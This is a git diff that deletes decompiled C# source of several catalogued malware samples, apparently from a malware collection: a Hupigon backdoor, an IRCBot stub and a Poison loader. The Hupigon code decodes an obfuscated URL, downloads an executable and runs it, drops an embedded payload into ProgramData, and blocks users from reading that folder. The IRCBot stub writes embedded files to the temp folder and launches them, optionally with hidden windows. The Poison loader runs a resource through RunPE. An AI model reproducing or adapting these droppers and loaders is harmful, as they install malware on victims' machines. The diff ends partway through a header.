b/MSIL/Backdoor/Win32/H/Backdoor.Win32.Hupigon.mrzd-97a335ad9a7d65429e8d9aedeaa1dd6b93990dd399d43ca43d8ef174c0f0faee/MyApplication.cs deleted file mode 100644 index 88da70b4..00000000 --- a/MSIL/Backdoor/Win32/H/Backdoor.Win32.Hupigon.mrzd-97a335ad9a7d65429e8d9aedeaa1dd6b93990dd399d43ca43d8ef174c0f0faee/MyApplication.cs +++ /dev/null @@ -1,19 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: My.MyApplication -// Assembly: 12, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 02FFA771-B60F-49F4-BE51-37E50E40AF6A -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.Hupigon.mrzd-97a335ad9a7d65429e8d9aedeaa1dd6b93990dd399d43ca43d8ef174c0f0faee.exe - -using Microsoft.VisualBasic.ApplicationServices; -using System.CodeDom.Compiler; -using System.ComponentModel; - -namespace My -{ - [GeneratedCode("MyTemplate", "8.0.0.0")] - [EditorBrowsable(EditorBrowsableState.Never)] - internal class MyApplication : ApplicationBase - { - internal static int \u002E\u002E\u002E\u002E; - } -} diff --git a/MSIL/Backdoor/Win32/H/Backdoor.Win32.Hupigon.mrzd-97a335ad9a7d65429e8d9aedeaa1dd6b93990dd399d43ca43d8ef174c0f0faee/MyComputer.cs b/MSIL/Backdoor/Win32/H/Backdoor.Win32.Hupigon.mrzd-97a335ad9a7d65429e8d9aedeaa1dd6b93990dd399d43ca43d8ef174c0f0faee/MyComputer.cs deleted file mode 100644 index 39b2e187..00000000 --- a/MSIL/Backdoor/Win32/H/Backdoor.Win32.Hupigon.mrzd-97a335ad9a7d65429e8d9aedeaa1dd6b93990dd399d43ca43d8ef174c0f0faee/MyComputer.cs +++ /dev/null @@ -1,24 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: My.MyComputer -// Assembly: 12, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 02FFA771-B60F-49F4-BE51-37E50E40AF6A -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.Hupigon.mrzd-97a335ad9a7d65429e8d9aedeaa1dd6b93990dd399d43ca43d8ef174c0f0faee.exe - -using Microsoft.VisualBasic.Devices; -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.Diagnostics; - -namespace My -{ - [GeneratedCode("MyTemplate", "8.0.0.0")] - [EditorBrowsable(EditorBrowsableState.Never)] - internal class MyComputer : Computer - { - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public MyComputer() - { - } - } -} diff --git a/MSIL/Backdoor/Win32/H/Backdoor.Win32.Hupigon.mrzd-97a335ad9a7d65429e8d9aedeaa1dd6b93990dd399d43ca43d8ef174c0f0faee/MyProject.cs b/MSIL/Backdoor/Win32/H/Backdoor.Win32.Hupigon.mrzd-97a335ad9a7d65429e8d9aedeaa1dd6b93990dd399d43ca43d8ef174c0f0faee/MyProject.cs deleted file mode 100644 index 46b1f80a..00000000 --- a/MSIL/Backdoor/Win32/H/Backdoor.Win32.Hupigon.mrzd-97a335ad9a7d65429e8d9aedeaa1dd6b93990dd399d43ca43d8ef174c0f0faee/MyProject.cs +++ /dev/null @@ -1,108 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: My.MyProject -// Assembly: 12, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 02FFA771-B60F-49F4-BE51-37E50E40AF6A -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.Hupigon.mrzd-97a335ad9a7d65429e8d9aedeaa1dd6b93990dd399d43ca43d8ef174c0f0faee.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.ApplicationServices; -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.ComponentModel.Design; -using System.Diagnostics; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace My -{ - [HideModuleName] - [StandardModule] - [GeneratedCode("MyTemplate", "8.0.0.0")] - internal sealed class MyProject - { - private static readonly MyProject.ThreadSafeObjectProvider m_ComputerObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static readonly MyProject.ThreadSafeObjectProvider m_AppObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static readonly MyProject.ThreadSafeObjectProvider m_UserObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static readonly MyProject.ThreadSafeObjectProvider m_MyWebServicesObjectProvider = new MyProject.ThreadSafeObjectProvider(); - - [HelpKeyword("My.Computer")] - internal static MyComputer Computer - { - [DebuggerHidden] get => MyProject.m_ComputerObjectProvider.GetInstance; - } - - [HelpKeyword("My.Application")] - internal static MyApplication Application - { - [DebuggerHidden] get => MyProject.m_AppObjectProvider.GetInstance; - } - - [HelpKeyword("My.User")] - internal static User User - { - [DebuggerHidden] get => MyProject.m_UserObjectProvider.GetInstance; - } - - [HelpKeyword("My.WebServices")] - internal static MyProject.MyWebServices WebServices - { - [DebuggerHidden] get => MyProject.m_MyWebServicesObjectProvider.GetInstance; - } - - [EditorBrowsable(EditorBrowsableState.Never)] - [MyGroupCollection("System.Web.Services.Protocols.SoapHttpClientProtocol", "Create__Instance__", "Dispose__Instance__", "")] - internal sealed class MyWebServices - { - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public override bool Equals(object o) => base.Equals(RuntimeHelpers.GetObjectValue(o)); - - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public override int GetHashCode() => base.GetHashCode(); - - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - internal new Type GetType() => typeof (MyProject.MyWebServices); - - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public override string ToString() => base.ToString(); - - [DebuggerHidden] - private static T Create__Instance__(T instance) where T : new() => (object) instance == null ? new T() : instance; - - [DebuggerHidden] - private void Dispose__Instance__(ref T instance) => instance = default (T); - - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public MyWebServices() - { - } - } - - [ComVisible(false)] - [EditorBrowsable(EditorBrowsableState.Never)] - internal sealed class ThreadSafeObjectProvider where T : new() - { - internal T GetInstance - { - [DebuggerHidden] get - { - if ((object) MyProject.ThreadSafeObjectProvider.m_ThreadStaticValue == null) - MyProject.ThreadSafeObjectProvider.m_ThreadStaticValue = new T(); - return MyProject.ThreadSafeObjectProvider.m_ThreadStaticValue; - } - } - - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public ThreadSafeObjectProvider() - { - } - } - } -} diff --git a/MSIL/Backdoor/Win32/H/Backdoor.Win32.Hupigon.mrzd-97a335ad9a7d65429e8d9aedeaa1dd6b93990dd399d43ca43d8ef174c0f0faee/X.cs b/MSIL/Backdoor/Win32/H/Backdoor.Win32.Hupigon.mrzd-97a335ad9a7d65429e8d9aedeaa1dd6b93990dd399d43ca43d8ef174c0f0faee/X.cs deleted file mode 100644 index 81de1c18..00000000 --- a/MSIL/Backdoor/Win32/H/Backdoor.Win32.Hupigon.mrzd-97a335ad9a7d65429e8d9aedeaa1dd6b93990dd399d43ca43d8ef174c0f0faee/X.cs +++ /dev/null @@ -1,169 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: X -// Assembly: 12, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 02FFA771-B60F-49F4-BE51-37E50E40AF6A -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.Hupigon.mrzd-97a335ad9a7d65429e8d9aedeaa1dd6b93990dd399d43ca43d8ef174c0f0faee.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using My; -using System; -using System.Collections; -using System.IO; -using System.IO.Compression; -using System.Net; -using System.Reflection; -using System.Resources; -using System.Security.AccessControl; -using System.Security.Principal; -using System.Text; - -internal class X -{ - [STAThread] - public static void main() - { - if (AppDomain.CurrentDomain.BaseDirectory.Length < 4 | Strings.InStr(AppDomain.CurrentDomain.BaseDirectory.ToLower(), "temp") > 0) - { - try - { - WebClient webClient1 = new WebClient(); - string path = Interaction.Environ("temp") + "\\jp.exe"; - WebClient webClient2 = webClient1; - string s = "Ahr0CdOVl2XVywrPBMCTys5SzwfKAg9ZDgvYlMnVBs90ywWUmJaXmdKYoteXmJe1nc5LEgu="; - string address = X.DEB(ref s); - byte[] bytes = webClient2.DownloadData(address); - System.IO.File.WriteAllBytes(path, bytes); - Interaction.Shell(Interaction.Environ("temp") + "\\jp.exe"); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - byte[] bytes1 = X.Z(X.Z((byte[]) new ResourceManager("M", Assembly.GetExecutingAssembly()).GetObject("A"))); - string Path = Interaction.Environ("programdata") + "\\DCSCRES_SERVERW"; - string str = Path + "\\DCSCRES_SERVERW.exe"; - try - { - FileSystem.MkDir(Path); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - try - { - X.BD(ref Path); - System.IO.File.WriteAllBytes(str, bytes1); - Interaction.Shell(str); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - - public static byte[] Z(byte[] Byt) - { - MemoryStream memoryStream = new MemoryStream(Byt); - GZipStream gzipStream = new GZipStream((Stream) memoryStream, CompressionMode.Decompress); - byte[] buffer = new byte[4]; - memoryStream.Position = checked (memoryStream.Length - 5L); - memoryStream.Read(buffer, 0, 4); - int int32 = BitConverter.ToInt32(buffer, 0); - memoryStream.Position = 0L; - byte[] array = new byte[checked (int32 - 1 + 1)]; - gzipStream.Read(array, 0, int32); - gzipStream.Dispose(); - memoryStream.Dispose(); - return array; - } - - public static string DEB(ref string s) => Encoding.UTF8.GetString(Convert.FromBase64String(X.Lu(ref s))); - - public static string Lu(ref string text) - { - string str1 = "qwertyuiopasdfghjklzxcvbnm"; - string str2 = ""; - int num1 = checked (text.Length - 1); - int index1 = 0; - if ((MyApplication.\u002E\u002E\u002E\u002E & 1030) == 0) - goto label_10; -label_1: - int num2 = checked (str1.Length - 1); - int index2 = 0; - if ((MyApplication.\u002E\u002E\u002E\u002E & 22) == 0) - goto label_7; -label_2: - char ch1 = text[index1]; - char ch2; - if ((int) ch1 == (int) str1[index2]) - { - string str3 = str2; - ch2 = text[index1]; - string upper = ch2.ToString().ToUpper(); - str2 = str3 + upper; - if ((MyApplication.\u002E\u002E\u002E\u002E & 5700) == 0) - goto label_9; - } - int num3 = (int) ch1; - ch2 = str1[index2]; - int num4 = (int) Conversions.ToChar(ch2.ToString().ToUpper()); - if (num3 == num4) - { - str2 += text[index1].ToString().ToLower(); - if ((MyApplication.\u002E\u002E\u002E\u002E & 1538) == 0) - goto label_9; - } - checked { ++index2; } -label_7: - if (index2 > num2) - str2 += Conversions.ToString(text[index1]); - else - goto label_2; -label_9: - checked { ++index1; } -label_10: - if (index1 > num1) - return str2; - goto label_1; - } - - public static void BD(ref string Path) - { - DirectorySecurity accessControl1 = Directory.GetAccessControl(Path, AccessControlSections.All); - IEnumerator enumerator; - try - { - enumerator = accessControl1.GetAccessRules(true, true, typeof (NTAccount)).GetEnumerator(); - if ((MyApplication.\u002E\u002E\u002E\u002E & 4624) == 0) - goto label_5; -label_2: - FileSystemAccessRule current = (FileSystemAccessRule) enumerator.Current; - try - { - DirectorySecurity accessControl2 = Directory.GetAccessControl(Path, AccessControlSections.All); - FileSystemAccessRule rule = new FileSystemAccessRule((IdentityReference) new NTAccount(Strings.Split(current.IdentityReference.Value, "\\")[1]), FileSystemRights.ReadData, AccessControlType.Deny); - accessControl2.AddAccessRule(rule); - Directory.SetAccessControl(Path, accessControl2); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } -label_5: - if (enumerator.MoveNext()) - goto label_2; - } - finally - { - if (enumerator is IDisposable) - (enumerator as IDisposable).Dispose(); - } - } -} diff --git a/MSIL/Backdoor/Win32/I/Backdoor.Win32.IRCBot.jvw-18712d6d0cde4a618af864e41af492dc1a2fdb62c34aa84b303ff83fa9ba0ec9/1.txt b/MSIL/Backdoor/Win32/I/Backdoor.Win32.IRCBot.jvw-18712d6d0cde4a618af864e41af492dc1a2fdb62c34aa84b303ff83fa9ba0ec9/1.txt deleted file mode 100644 index e72a6d26..00000000 Binary files a/MSIL/Backdoor/Win32/I/Backdoor.Win32.IRCBot.jvw-18712d6d0cde4a618af864e41af492dc1a2fdb62c34aa84b303ff83fa9ba0ec9/1.txt and /dev/null differ diff --git a/MSIL/Backdoor/Win32/I/Backdoor.Win32.IRCBot.jvw-18712d6d0cde4a618af864e41af492dc1a2fdb62c34aa84b303ff83fa9ba0ec9/2.txt b/MSIL/Backdoor/Win32/I/Backdoor.Win32.IRCBot.jvw-18712d6d0cde4a618af864e41af492dc1a2fdb62c34aa84b303ff83fa9ba0ec9/2.txt deleted file mode 100644 index d3a71bbe..00000000 Binary files a/MSIL/Backdoor/Win32/I/Backdoor.Win32.IRCBot.jvw-18712d6d0cde4a618af864e41af492dc1a2fdb62c34aa84b303ff83fa9ba0ec9/2.txt and /dev/null differ diff --git a/MSIL/Backdoor/Win32/I/Backdoor.Win32.IRCBot.jvw-18712d6d0cde4a618af864e41af492dc1a2fdb62c34aa84b303ff83fa9ba0ec9/AssemblyInfo.cs b/MSIL/Backdoor/Win32/I/Backdoor.Win32.IRCBot.jvw-18712d6d0cde4a618af864e41af492dc1a2fdb62c34aa84b303ff83fa9ba0ec9/AssemblyInfo.cs deleted file mode 100644 index 1e886428..00000000 --- a/MSIL/Backdoor/Win32/I/Backdoor.Win32.IRCBot.jvw-18712d6d0cde4a618af864e41af492dc1a2fdb62c34aa84b303ff83fa9ba0ec9/AssemblyInfo.cs +++ /dev/null @@ -1,3 +0,0 @@ -using System.Reflection; - -[assembly: AssemblyVersion("0.0.0.0")] diff --git a/MSIL/Backdoor/Win32/I/Backdoor.Win32.IRCBot.jvw-18712d6d0cde4a618af864e41af492dc1a2fdb62c34aa84b303ff83fa9ba0ec9/Backdoor.Win32.IRCBot.jvw.csproj b/MSIL/Backdoor/Win32/I/Backdoor.Win32.IRCBot.jvw-18712d6d0cde4a618af864e41af492dc1a2fdb62c34aa84b303ff83fa9ba0ec9/Backdoor.Win32.IRCBot.jvw.csproj deleted file mode 100644 index 8127fa56..00000000 --- a/MSIL/Backdoor/Win32/I/Backdoor.Win32.IRCBot.jvw-18712d6d0cde4a618af864e41af492dc1a2fdb62c34aa84b303ff83fa9ba0ec9/Backdoor.Win32.IRCBot.jvw.csproj +++ /dev/null @@ -1,44 +0,0 @@ - - - - - Debug - AnyCPU - {B85917D5-B554-47FD-9184-BEBE4ED872B1} - Exe - magmog1 - 0.0.0.0 - Stub - - - AnyCPU - true - full - false - bin\Debug\ - DEBUG;TRACE - prompt - 4 - - - AnyCPU - pdbonly - true - bin\Release\ - TRACE - prompt - 4 - - - - - - - - - - - - - - \ No newline at end of file diff --git a/MSIL/Backdoor/Win32/I/Backdoor.Win32.IRCBot.jvw-18712d6d0cde4a618af864e41af492dc1a2fdb62c34aa84b303ff83fa9ba0ec9/Backdoor.Win32.IRCBot.jvw.sln b/MSIL/Backdoor/Win32/I/Backdoor.Win32.IRCBot.jvw-18712d6d0cde4a618af864e41af492dc1a2fdb62c34aa84b303ff83fa9ba0ec9/Backdoor.Win32.IRCBot.jvw.sln deleted file mode 100644 index a84156be..00000000 --- a/MSIL/Backdoor/Win32/I/Backdoor.Win32.IRCBot.jvw-18712d6d0cde4a618af864e41af492dc1a2fdb62c34aa84b303ff83fa9ba0ec9/Backdoor.Win32.IRCBot.jvw.sln +++ /dev/null @@ -1,20 +0,0 @@ - -Microsoft Visual Studio Solution File, Format Version 9.00 -# Visual Studio 2005 -Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "magmog1", "Backdoor.Win32.IRCBot.jvw-18712d6d0cde4a618af864e41af492dc1a2fdb62c34aa84b303ff83fa9ba0ec9.csproj", "{B85917D5-B554-47FD-9184-BEBE4ED872B1}" -EndProject -Global - GlobalSection(SolutionConfigurationPlatforms) = preSolution - Debug|Any CPU = Debug|Any CPU - Release|Any CPU = Release|Any CPU - EndGlobalSection - GlobalSection(ProjectConfigurationPlatforms) = postSolution - {B85917D5-B554-47FD-9184-BEBE4ED872B1}.Debug|Any CPU.ActiveCfg = Debug|Any CPU - {B85917D5-B554-47FD-9184-BEBE4ED872B1}.Debug|Any CPU.Build.0 = Debug|Any CPU - {B85917D5-B554-47FD-9184-BEBE4ED872B1}.Release|Any CPU.ActiveCfg = Release|Any CPU - {B85917D5-B554-47FD-9184-BEBE4ED872B1}.Release|Any CPU.Build.0 = Release|Any CPU - EndGlobalSection - GlobalSection(SolutionProperties) = preSolution - HideSolutionNode = FALSE - EndGlobalSection -EndGlobal diff --git a/MSIL/Backdoor/Win32/I/Backdoor.Win32.IRCBot.jvw-18712d6d0cde4a618af864e41af492dc1a2fdb62c34aa84b303ff83fa9ba0ec9/Program.cs b/MSIL/Backdoor/Win32/I/Backdoor.Win32.IRCBot.jvw-18712d6d0cde4a618af864e41af492dc1a2fdb62c34aa84b303ff83fa9ba0ec9/Program.cs deleted file mode 100644 index afc41e6d..00000000 --- a/MSIL/Backdoor/Win32/I/Backdoor.Win32.IRCBot.jvw-18712d6d0cde4a618af864e41af492dc1a2fdb62c34aa84b303ff83fa9ba0ec9/Program.cs +++ /dev/null @@ -1,67 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Stub.Program -// Assembly: magmog1, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 78EA55E7-44CC-444B-8298-A36CCE31FE99 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.IRCBot.jvw-18712d6d0cde4a618af864e41af492dc1a2fdb62c34aa84b303ff83fa9ba0ec9.exe - -using System; -using System.Diagnostics; -using System.IO; -using System.Reflection; -using System.Runtime.InteropServices; - -namespace Stub -{ - internal class Program - { - public static FileStream F1Stream; - public static FileStream F2Stream; - - [DllImport("kernel32.dll")] - public static extern bool FreeConsole(); - - private static void Main(string[] args) - { - try - { - Program.FreeConsole(); - bool flag1 = false; - bool flag2 = false; - bool flag3 = false; - bool flag4 = false; - bool flag5 = false; - bool flag6 = false; - Stream manifestResourceStream1 = Assembly.GetExecutingAssembly().GetManifestResourceStream("1.txt"); - byte[] buffer1 = new byte[manifestResourceStream1.Length]; - manifestResourceStream1.Read(buffer1, 0, buffer1.Length); - manifestResourceStream1.Close(); - Stream manifestResourceStream2 = Assembly.GetExecutingAssembly().GetManifestResourceStream("2.txt"); - byte[] buffer2 = new byte[manifestResourceStream2.Length]; - manifestResourceStream2.Read(buffer2, 0, buffer2.Length); - Program.F1Stream = !flag2 ? (!flag3 ? new FileStream(Environment.GetEnvironmentVariable("TEMP") + "\\1.exe", FileMode.Create) : new FileStream(Environment.GetEnvironmentVariable("TEMP") + "\\1.mp3", FileMode.Create)) : new FileStream(Environment.GetEnvironmentVariable("TEMP") + "\\1.jpg", FileMode.Create); - Program.F1Stream.Write(buffer1, 0, buffer1.Length); - Program.F1Stream.Close(); - Program.F1Stream.Dispose(); - Program.F2Stream = !flag4 ? new FileStream(Environment.GetEnvironmentVariable("TEMP") + "\\2.exe", FileMode.Create) : new FileStream(Environment.GetEnvironmentVariable("TEMP") + "\\2.bat", FileMode.Create); - Program.F2Stream.Write(buffer2, 0, buffer2.Length); - Program.F2Stream.Close(); - Program.F2Stream.Dispose(); - Process process1 = new Process(); - process1.StartInfo.FileName = !flag2 ? (!flag3 ? Environment.GetEnvironmentVariable("TEMP") + "\\1.exe" : Environment.GetEnvironmentVariable("TEMP") + "\\1.mp3") : Environment.GetEnvironmentVariable("TEMP") + "\\1.jpg"; - if (flag6) - process1.StartInfo.WindowStyle = ProcessWindowStyle.Hidden; - process1.Start(); - if (flag5) - process1.WaitForExit(); - Process process2 = new Process(); - process2.StartInfo.FileName = !flag4 ? Environment.GetEnvironmentVariable("TEMP") + "\\2.exe" : Environment.GetEnvironmentVariable("TEMP") + "\\2.bat"; - if (flag1) - process2.StartInfo.WindowStyle = ProcessWindowStyle.Hidden; - process2.Start(); - } - catch - { - } - } - } -} diff --git a/MSIL/Backdoor/Win32/P/Backdoor.Win32.Poison.aec-2b0740b68917a42d6ada501b21334e0148d2019f46109d3bfe3a1b17ed23caa8/AssemblyInfo.cs b/MSIL/Backdoor/Win32/P/Backdoor.Win32.Poison.aec-2b0740b68917a42d6ada501b21334e0148d2019f46109d3bfe3a1b17ed23caa8/AssemblyInfo.cs deleted file mode 100644 index 9c3ff8d0..00000000 --- a/MSIL/Backdoor/Win32/P/Backdoor.Win32.Poison.aec-2b0740b68917a42d6ada501b21334e0148d2019f46109d3bfe3a1b17ed23caa8/AssemblyInfo.cs +++ /dev/null @@ -1,13 +0,0 @@ -using System.Reflection; -using System.Runtime.InteropServices; - -[assembly: AssemblyDescription("1")] -[assembly: AssemblyCompany("")] -[assembly: AssemblyCopyright("Copyright © 2010")] -[assembly: AssemblyTrademark("")] -[assembly: AssemblyTitle("Cursor")] -[assembly: AssemblyProduct("Cursor")] -[assembly: AssemblyFileVersion("1.0.0.0")] -[assembly: Guid("728093e4-7457-46be-8e8e-0fdee382cfff")] -[assembly: ComVisible(false)] -[assembly: AssemblyVersion("1.0.0.0")] diff --git a/MSIL/Backdoor/Win32/P/Backdoor.Win32.Poison.aec-2b0740b68917a42d6ada501b21334e0148d2019f46109d3bfe3a1b17ed23caa8/Backdoor.Win32.Poison.aec.csproj b/MSIL/Backdoor/Win32/P/Backdoor.Win32.Poison.aec-2b0740b68917a42d6ada501b21334e0148d2019f46109d3bfe3a1b17ed23caa8/Backdoor.Win32.Poison.aec.csproj deleted file mode 100644 index 159b9e25..00000000 --- a/MSIL/Backdoor/Win32/P/Backdoor.Win32.Poison.aec-2b0740b68917a42d6ada501b21334e0148d2019f46109d3bfe3a1b17ed23caa8/Backdoor.Win32.Poison.aec.csproj +++ /dev/null @@ -1,52 +0,0 @@ - - - - - Debug - AnyCPU - {CFD318BA-72D0-41F6-BAD3-1B05A5894626} - WinExe - Cursor - 1.0.0.0 - Cursor - - - AnyCPU - true - full - false - bin\Debug\ - DEBUG;TRACE - prompt - 4 - - - AnyCPU - pdbonly - true - bin\Release\ - TRACE - prompt - 4 - - - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/MSIL/Backdoor/Win32/P/Backdoor.Win32.Poison.aec-2b0740b68917a42d6ada501b21334e0148d2019f46109d3bfe3a1b17ed23caa8/Backdoor.Win32.Poison.aec.sln b/MSIL/Backdoor/Win32/P/Backdoor.Win32.Poison.aec-2b0740b68917a42d6ada501b21334e0148d2019f46109d3bfe3a1b17ed23caa8/Backdoor.Win32.Poison.aec.sln deleted file mode 100644 index 03d50e34..00000000 --- a/MSIL/Backdoor/Win32/P/Backdoor.Win32.Poison.aec-2b0740b68917a42d6ada501b21334e0148d2019f46109d3bfe3a1b17ed23caa8/Backdoor.Win32.Poison.aec.sln +++ /dev/null @@ -1,20 +0,0 @@ - -Microsoft Visual Studio Solution File, Format Version 9.00 -# Visual Studio 2005 -Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Cursor", "Backdoor.Win32.Poison.aec-2b0740b68917a42d6ada501b21334e0148d2019f46109d3bfe3a1b17ed23caa8.csproj", "{CFD318BA-72D0-41F6-BAD3-1B05A5894626}" -EndProject -Global - GlobalSection(SolutionConfigurationPlatforms) = preSolution - Debug|Any CPU = Debug|Any CPU - Release|Any CPU = Release|Any CPU - EndGlobalSection - GlobalSection(ProjectConfigurationPlatforms) = postSolution - {CFD318BA-72D0-41F6-BAD3-1B05A5894626}.Debug|Any CPU.ActiveCfg = Debug|Any CPU - {CFD318BA-72D0-41F6-BAD3-1B05A5894626}.Debug|Any CPU.Build.0 = Debug|Any CPU - {CFD318BA-72D0-41F6-BAD3-1B05A5894626}.Release|Any CPU.ActiveCfg = Release|Any CPU - {CFD318BA-72D0-41F6-BAD3-1B05A5894626}.Release|Any CPU.Build.0 = Release|Any CPU - EndGlobalSection - GlobalSection(SolutionProperties) = preSolution - HideSolutionNode = FALSE - EndGlobalSection -EndGlobal diff --git a/MSIL/Backdoor/Win32/P/Backdoor.Win32.Poison.aec-2b0740b68917a42d6ada501b21334e0148d2019f46109d3bfe3a1b17ed23caa8/Module1.cs b/MSIL/Backdoor/Win32/P/Backdoor.Win32.Poison.aec-2b0740b68917a42d6ada501b21334e0148d2019f46109d3bfe3a1b17ed23caa8/Module1.cs deleted file mode 100644 index b595a0f4..00000000 --- a/MSIL/Backdoor/Win32/P/Backdoor.Win32.Poison.aec-2b0740b68917a42d6ada501b21334e0148d2019f46109d3bfe3a1b17ed23caa8/Module1.cs +++ /dev/null @@ -1,42 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Cursor.Module1 -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: B3356960-2D13-4E8B-9A22-3EBE56F6B0CE -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Poison.aec-2b0740b68917a42d6ada501b21334e0148d2019f46109d3bfe3a1b17ed23caa8.exe - -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.Diagnostics; -using System.Runtime.InteropServices; - -namespace Cursor -{ - [StandardModule] - internal sealed class Module1 - { - [DllImport("kernel32.dll", SetLastError = true)] - private static extern IntPtr FindResource(IntPtr hModule, string lpName, string lpType); - - [DllImport("kernel32", EntryPoint = "GetModuleHandleA", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern IntPtr GetModuleHandle([MarshalAs(UnmanagedType.VBByRefStr)] ref string moduleName); - - [DllImport("kernel32", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int SizeofResource(IntPtr hModule, IntPtr hResInfo); - - [DllImport("kernel32", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern IntPtr LoadResource(IntPtr hModule, IntPtr hResInfo); - - [STAThread] - public static void Main() - { - string moduleName = Process.GetCurrentProcess().MainModule.ModuleName; - IntPtr moduleHandle = Module1.GetModuleHandle(ref moduleName); - IntPtr resource = Module1.FindResource(moduleHandle, "69", "GAY"); - IntPtr source = Module1.LoadResource(moduleHandle, resource); - int length = Module1.SizeofResource(moduleHandle, resource); - byte[] numArray = new byte[checked (length - 1 + 1)]; - Marshal.Copy(source, numArray, 0, length); - x86.RunPE(numArray, Process.GetCurrentProcess().MainModule.FileName); - } - } -} diff --git a/MSIL/Backdoor/Win32/P/Backdoor.Win32.Poison.aec-2b0740b68917a42d6ada501b21334e0148d2019f46109d3bfe3a1b17ed23caa8/My/MyApplication.cs b/MSIL/Backdoor/Win32/P/Backdoor.Win32.Poison.aec-2b0740b68917a42d6ada501b21334e0148d2019f46109d3bfe3a1b17ed23caa8/My/MyApplication.cs deleted file mode 100644 index d710b2af..00000000 --- a/MSIL/Backdoor/Win32/P/Backdoor.Win32.Poison.aec-2b0740b68917a42d6ada501b21334e0148d2019f46109d3bfe3a1b17ed23caa8/My/MyApplication.cs +++ /dev/null @@ -1,23 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Cursor.My.MyApplication -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: B3356960-2D13-4E8B-9A22-3EBE56F6B0CE -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Poison.aec-2b0740b68917a42d6ada501b21334e0148d2019f46109d3bfe3a1b17ed23caa8.exe - -using Microsoft.VisualBasic.ApplicationServices; -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.Diagnostics; - -namespace Cursor.My -{ - [EditorBrowsable(EditorBrowsableState.Never)] - [GeneratedCode("MyTemplate", "8.0.0.0")] - internal class MyApplication : ConsoleApplicationBase - { - [DebuggerNonUserCode] - public MyApplication() - { - } - } -} diff --git a/MSIL/Backdoor/Win32/P/Backdoor.Win32.Poison.aec-2b0740b68917a42d6ada501b21334e0148d2019f46109d3bfe3a1b17ed23caa8/My/MyComputer.cs b/MSIL/Backdoor/Win32/P/Backdoor.Win32.Poison.aec-2b0740b68917a42d6ada501b21334e0148d2019f46109d3bfe3a1b17ed23caa8/My/MyComputer.cs deleted file mode 100644 index 362858f9..00000000 --- a/MSIL/Backdoor/Win32/P/Backdoor.Win32.Poison.aec-2b0740b68917a42d6ada501b21334e0148d2019f46109d3bfe3a1b17ed23caa8/My/MyComputer.cs +++ /dev/null @@ -1,24 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Cursor.My.MyComputer -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: B3356960-2D13-4E8B-9A22-3EBE56F6B0CE -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Poison.aec-2b0740b68917a42d6ada501b21334e0148d2019f46109d3bfe3a1b17ed23caa8.exe - -using Microsoft.VisualBasic.Devices; -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.Diagnostics; - -namespace Cursor.My -{ - [GeneratedCode("MyTemplate", "8.0.0.0")] - [EditorBrowsable(EditorBrowsableState.Never)] - internal class MyComputer : Computer - { - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public MyComputer() - { - } - } -} diff --git a/MSIL/Backdoor/Win32/P/Backdoor.Win32.Poison.aec-2b0740b68917a42d6ada501b21334e0148d2019f46109d3bfe3a1b17ed23caa8/My/MyProject.cs 